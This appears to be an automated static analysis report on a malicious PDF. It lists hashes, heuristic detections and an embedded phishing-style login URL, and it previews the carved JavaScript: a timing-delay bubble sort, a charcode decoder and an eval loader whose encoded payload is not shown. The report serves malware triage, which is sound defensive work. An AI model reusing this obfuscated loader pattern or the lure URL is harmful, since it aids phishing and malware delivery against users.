Malicious PDF — malware analysis report

Static analysis result for SHA-256 55ceede23be4bd1c…

MALICIOUS

PDF

91.1 KB Created: 2018-06-12 09:41:10 -04:00 First seen: 2021-01-23
MD5: 6b53b5dda43b0bc5b4f5f00b872dd0e7 SHA-1: 52d4dedaadbbd3216886673c79ebed64f94108a7 SHA-256: 55ceede23be4bd1c3c6e01ccb6fb2b18592085a6989d9b1f00fb2e6f43a609b4
138 Risk Score

Machine Learning

  • Nyx PDF Classifier suspicious score 0.4662

Heuristics 7

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
;
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gmail.net-login.com/XcmVyjaXBpZWD50X2lkPTAQ4MjIxTkODAwHOSZjYW1wAYWdlnbl9ydW5faWQ9MjIwONzUxMCZhY3Rpb249Y2xpY2smdXJsPWh0dHBzOi8vc2VjdXJlZC1sb2dpbi5uZXQvcGFnZXMvZWY5MDczMGFkZDA= PDF link annotation
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/tiff/1.0/In PDF document text
    • http://ns.adobe.com/exif/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xBD6 13987 bytes
SHA-256: 8306dfa5d9a05eccf44130f417dc160317f66a37b1ae4e1c11699e883e2e7522
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function generateReverseArray(){
	var arr = [];
	for (var i=0; i < 1000; i++){
		arr.push(1000 - i);
	}
	return arr;
}
function bubbleSort(inputArr, num) {
	var len = inputArr.length;
    for (var n = 0; n < num; n++) {
        for (var i = 0; i < len; i++) {
            for (var j = 0; j < len; j++) {
                if (inputArr[j] > inputArr[j + 1]) {
                    var tmp = inputArr[j];
                    inputArr[j] = inputArr[j + 1];
                    inputArr[j + 1] = tmp;
                }
            }
        }
        for (var i = 0; i < len; i++) {
            for (var j = 0; j < len; j++) {
                if (inputArr[j] < inputArr[j + 1]) {
                    var tmp = inputArr[j];
                    inputArr[j] = inputArr[j + 1];
                    inputArr[j + 1] = tmp;
                }
            }
        }
    }
    return inputArr[inputArr.length - len] - 1;
}
        
function triggerSelectedCodeByTiming(num){
	bubbleSort(generateReverseArray(), num);
	sourceCode = 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
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
;
}
triggerSelectedCodeByTiming(10);
font_00_cff_off0001586a.bin pdf-font-stream PDF embedded font (cff) at offset 0x1586A 4575 bytes
SHA-256: 9340d372ad75a105fdb1627a30e96f892e0dc7d9588c0150cf06b4fa72281cc0

Open this report in the interactive analyzer, or submit your own file for analysis.